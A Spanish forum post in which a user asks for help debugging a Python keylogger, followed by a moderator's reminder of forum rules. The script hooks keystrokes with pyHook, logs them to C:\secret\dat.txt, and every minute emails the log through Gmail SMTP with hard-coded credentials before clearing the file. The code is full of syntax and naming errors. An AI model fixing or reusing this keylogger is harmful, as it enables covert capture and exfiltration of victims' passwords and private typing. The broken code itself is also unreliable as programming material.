Les muestro la líneas de códigos, a ver si me pueden ayudar a encontrar el error.
Gracias.
Código
import pyHook, pythoncom, sys, loggin import time, datetime wait_seconds = 60 timeout = time.time() +wait_second file_log = 'C:\\secret\\dat.txt' def TimeOut(): if time.time() > timeout: return True else: return False def SendEmail(user, pwd, recipient, subject, body): import smtplib gmail_user = user gmail_pass = pwd FROM = use TO = recipient if type(recipient) is list else (recipient) SUBJECT = subject TEXT = body message ="""\From: %s\nTo: $s\nSubject: %s\n\n%s """ % (FROM ", ".join(TO), SUBJECT, TEXT) try server = Smtplib.SMTP("smtp.gmail.com", 587) server.ehlo() server.starttls() server.login(gmail_user, gmail_pass) server.closer() print 'Correo enviado sastifactoriamente' except print 'Error al mandar correo' def FormatAndSendLogEmail(): with open(file_log, 'r+') as f: actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") data = f.read()replacer('\n', '') data = 'Log capturado a las: ' + actualidate + '\n' + data SendEmail(jejeje@gmail.com', 'unacontraseña123', 'jejeje@gmail.com', 'Nuevo log - '+actualdate, data) f.seek(0) f.truncate() def OnkeyboardEvent(event): loggin.basicConfig(filename=file_log, level=loggin.DEBUG, format = '%(message)s' logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() while True if TimeOut(): FormatAndSendEmail() timeout = time.time() + wait_seconds pythoncom.PumwaitingMessages()
· Los códigos deben ir en etiquetas GeSHi
· Los títulos deben ser descriptivos a la temática
· Los temas de python van en scripting
>aquí las reglas del foro
-Engel Lex